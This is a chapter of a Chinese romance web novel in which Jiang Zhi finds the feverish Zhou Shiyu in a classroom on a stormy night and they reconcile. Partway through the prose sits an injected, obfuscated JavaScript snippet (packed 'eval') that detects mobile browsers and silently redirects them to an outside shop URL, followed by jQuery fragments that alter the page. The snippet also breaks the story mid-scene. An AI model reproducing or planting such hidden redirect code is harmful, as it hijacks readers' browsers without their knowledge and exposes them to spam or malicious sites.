忘了。
这是一个很容易双关的词。可是，她刚刚才提过删除记忆。然后那张不可名状的网又一次罩在他们头顶，只是在不知不觉间，其中的缝隙已经大到什么也藏不住。
姜知没有回答。
也许是剧烈颤动的睫毛出卖她，也许是她的发言太像真情流露，但反正，微凉的手臂擦过她的脸颊，她感受到了清冽的气息，手臂环在她身后，胸膛又是热的。
窗外雨还在下——像雨落在地上，树长出枝桠那般自然，找不出一点差错，似乎本该这样发生。
像失而复得。
“忘了。”她低声说。
周时屿松开一点，低下头：
“要是感觉不舒服一定要告诉我，你也知道的，我反应很慢，很多时候发现不了你不高兴，”说话时的呼吸洒在侧颈，“不管有什么顾虑，我可以等。”
她听见心跳声，和温热的体温叠在一起，他的声音比平时更沉，也蕴含着让人安心的力量：“但是，别怕。”
……
姜知已经失去了辩解的最佳机会。胸口有一团滚热的东西，等心跳声变得震耳欲聋时，她才发现，根本不想辩解。
她早就希望有人能发现这件事，那个人最好是他。
至于重蹈覆辙……
姜知想到那部电影。哲学上说，人不可能踏进同一条河流。
可现实是，人总会不自觉踏入同一条河流，最终被情感击溃，明知不可为而为之。
姜知闻着像皂角，又像海盐的熟悉的香味，问：“你会不会觉得我很矫情？”
“一点都不，”他摇头，抱得更紧，“是我没保护好你。”
轻微的停顿过后，他把手放到姜知脑后。
“……那。”姜知抬起头。
“要是我永远想不起来了呢？”
“都不知道发生过什么，我该怎么相信你的话。”
“你能保证我们今后不会再分手？”
这一刻，她想和先前那个女生说，她根本不是多勇敢的人。
姜知没等到周时屿的回答，故作轻松道：“所以你看，你也是介意的。”
-
后来，姜知像大部分狗血档的女主角一样，出走在夜里。外面倾盆大雨，她坐在出租车上，发尾被淋得略湿。动用财力让司机兜圈，开慢一点也行，总之别停。
她需要一个空间好好思考一些事情。
至于心情，不是崩溃或失望，而是深深的无力，人究竟要怎样对抗未知？实在太难了。
前几次有沈疏言开导她，然而这一回，她并不想要第三个人介入。
司机眼神古怪地看她一眼，但是没有拒绝。
车内没有放dj音乐，安静得出奇。司机开始例行关切：
“和家里人吵架了？”
“不是。”
“那，和男朋友？”
“……”
“司机您开慢一点。”她叮嘱，“麻烦了。”
窗外街景在倒退，雨中的霓虹灯映在车窗上，被拉成溢彩的线，投在脸上明明灭灭。
姜知点开一个对话框，界面是空白的，她发现时间还停在前一天。
高明每天都会按时汇报周时屿的身体情况，事无巨细，姜知总当成垃圾信息看完就删。
但偏偏，今天高明的消息也没有发来。
像久留的刺突然被拔掉，剩下空落落的疼。姜知象征性地发了条消息。
姜知：「在忙吗？」
高明：「还行，咋啦？」
她犹豫片刻：「今天怎么没发？」
对面：「什么啊？」
「少装。」
半晌后：「哦对，我忘了！不好意思啊姜知姐。」
没后文了。
就像那场问话。
车灯隐入奔走的车流，高楼被遮住一角，城市被模糊成一幅油画，一片不像钢铁的森林。高楼格中的暖光，看起来那么近，又那么远。
然后，迷失的感觉没能深入，建筑的轮廓清晰起来。
“哎，你怎么……”转了一圈，竟然回到了恋爱培训班的附近。
司机：“没办法，要接下一单啦。”
……光顾着装深沉，忘了现实中的司机不会有那么多时间陪她闹，也忘了主城区一共就那么大。
姜知拉开车门，打算再打一辆车的时候，视线里闪过熟悉的车牌号。
很眼熟的车，孤零零地停在路边，这不就是之前载过她的那辆！
她想到今天缺席的信息。
看向房檐下敞开的门。
姜知想也没想就转身，被突然生出的那种可怕的可能弄得惴惴不安。
-
不安感慢慢放大，黑夜的影子紧随其后，窗玻璃被打得噼啪作响。
姜知半是摸黑地前进，像被一只手紧紧攥着，每一步都踩在自己剧烈的心跳上。
推开活动室门的时候，她没想到里面真的还有人。
不是睡着的姿势，整个人都在轻微的颤抖，被手电的光照得一缩。
心理防线彻底被眼前的一幕击溃。
他身体蜷缩着，眉头紧紧拧在一起，喉结上下滚动，像在咽下某种不适，每一下呼吸都显得艰难。
姜知快步走过去，手贴上他的额头。
轻唤几声，没有醒。
外面风吹雨打。她怎么会忘了，几小时前，这个人还在医院。无形的后怕擒住她。
姜知两步并作一步拉开电闸，面前的大屏亮起，是男女主躺在冰面上的那一段，满屏幕都是透亮的蓝色，冰面中间有一道裂痕，女主角的身体接近半透明。
姜知咬住嘴唇，云雾在眼前模糊成了一片。
听见声音时，周时屿并非毫无反应。
一声含糊的呢喃溢出，几乎被雨声淹没，可她还是听见了：
“…姜知……”
“别走。”
呼吸停了半拍。
她咬着下嘴唇，让自己冷静下来，快速思考着对策，思来想去只能叫救护车。她摸出手机，按下120。
一只手握住了她的手腕。
“真的是你。”
眸中含着迷蒙的水汽，刘海贴在额头上，手虚虚环在她皮肤附近，温度明显偏高。
姜知顾不上别的，几乎是喊出来：“药呢？药在哪！”
手上的力道松开，他再度陷入昏睡中。姜知转身去翻的包，翻出消炎药，和一堆她看不懂的英文药瓶。这时姜知发现自己的手在抖，心底生根的恐惧放大，连药片都快捏不住，几板药哗啦一声掉在地上，她弯腰，眼泪跟着一起掉在地上。
扫过屏幕上播了一半的电影，那时候男主的记忆清除只剩最后一帧画面，底下的字幕：“我已死而无憾了”。
……傻子。
再也忍不住，泪水夺眶而出。她想把药复原，却感到难言的作对感。越急就越浮躁，越浮躁越捡不起来，于是往地上一坐，掐紧掌心，无声地流着泪。
“等会我来捡。”
身后响起他的声音，虚弱沙哑，却比刚才清醒了一点。
周时屿撑着坐起来，动作很慢，每一下都在对抗着千钧重压。额头上的冷汗若隐若现，后背的T恤湿了一大片。
可他还是坐起来了，朝她伸出手：“药给我。”
她看了看自己的左手，把药片放在他掌心，他就着桌上那杯凉透的水，迅速把药咽下去，下颌线绷紧又松开。然后靠回到原位，闭着眼，脑袋偏向一侧，胸口剧烈起伏。
姜知想说点什么。可喉咙里堵着一团又软又涩的东西，她一个字也说不出来。
他缓过那口气，睁开眼。
看见她眼角挂着未抹去的泪，目光软下来，抬手蹭过她的眼眶：“怎么哭了？”
她趴在下午靠过的肩膀上，终于哭出声来。脸埋进衣料里，追踪着好闻的味道。她不知道自己到底为什么哭，不知道是害怕，委屈，还是什么别的情绪，只知道停不下来了。
像一台机器被按下开关，强行释放积压了不知道多久的骤雨。
雷声阵阵，雨势瓢泼。
一双手落在她的后背，一下一下地轻拍。用固执的动作，把崩溃边缘的人拉回来。姜知抬起脑袋，找回最后的理智。
“衣服湿了。”
上面是一团深色的、狼狈的痕迹。
周时屿轻轻抬了下嘴角：“没事。”
“还难受吗？”
“好多了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270773|193783||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她拧起眉，“骗人。”
“真的，”周时屿把那些不知为何而流的泪擦干，“吃药了，会慢慢好的，别担心。”
怎么可能真的不担心。可看着他眼下的青影，和眼里努力安慰的光，姜知再次失语。
“躺着，”她站起来，“我去外面看看，现在……”
“等一下。”
脚步停下。
“刚才吓到你了？”
姜知维持着刚刚的动作，不说话。
“对不起。”
眼框的热意重现，姜知别过脸，“又不是你故意的，道什么歉。”
“嗯，不是我故意的，”他固执地重复，“但还是对不起。”
始终没有开灯，光线始终昏暗，那一开始他是怎么知道她哭了？
“周时屿。”
“嗯。”
姜知听见自己失控的心跳，盖过其他一切声音的心跳声，又来了。
她指了指屏幕上，“我们也会再次陷入没完没了的争吵。”
“嗯。”
“我可能永远无法彻底相信你。”
周时屿看着她，反问：“你记不记得电影的结尾。”
姜知点头：“记得。”
“乔尔说，”他笑了一下，“OK。”
“这也是我的答案。”
他慢慢说：
“我愿意改，就算你不需要，不屑于……”
“我想在你的身边，不是，视线范围内。就算你最后决定选择那位医生，也请，”周时屿说话时语速很慢，可能还是有些费力，但认真。
“不要赶我走。我不会打扰你们，只要能远远看见你就好。”
最后那一瞥中，有太多她看不懂的情绪，和眼底的水汽一起，一起砸过来。
姜知近乎是愣在原地。
-
药效上来了，周时屿陷入了深度睡眠，在意识不清的时候，他抓住她的袖口。
姜知准备收回手，那只手动了一下。
她低头。
姜知试着轻轻抽了抽，没抽动。周时屿的眉头皱了皱，像感觉到她要离开，手上力道加重了几分。
“……周时屿？”她轻轻喊。
没有回应。还在睡，呼吸也很均匀，只是手固执地攥着她的衣角，怎么也不肯松开。
姜知站在那里，低头看他。
看了很久。
然后叹了口气，弯腰坐下。
就那样安静坐着，听着窗外的雨声，听着旁边人平稳的呼吸声。过了不知道多久，她的眼皮也开始打架。
意识滑进黑暗前，好像感知到那只攥着衣角的手松开了，轻轻覆上她的手背。
……
……
空荡的房间内，两个人影正对峙着。
“是我们一起看的，”周时屿问，“你忘了吗？”
女孩神情冰冷：“又不是什么愉快的记忆，忘了就忘了。”
他颇为惊讶地抬起头。
“和你在一起我根本不开心，好不容易才脱离苦海，现在离我远点。”
“怎么突然……”周时屿没能反应过来，眼睁睁看着姜知错开身，越来越远。
“姜知！”
下一秒，他看见她嗔怒的脸：“当然因为……你很烦啊！”
有人给他披上一件外套，上面有近乎幻觉的一缕香味，让人安心的气味。
他想追寻过去，却睁不开眼睛。
药水输入静脉处，而房内空空荡荡，并没有任何人在此驻足的痕迹。
“姜知。”周时屿醒来，心跳如鼓。
……果然是梦。
-
门被向外推开，溢进来微弱的光。
和梦中的景象重合了。
他不知道她有没有生气，不确定哪些是现实。毕竟……他既不希望她哭，也不希望她生他的气。
姜知走过来：“醒了？赶紧走。”
周时屿没动，懵懵地看着她——还有她眼角未干的泪痕。
姜知拿上东西，催促道：“回医院。”
周时屿点点头，但是身体依旧没动，似是不怎么情愿的样子。
姜知的语气柔下来，“我送你。”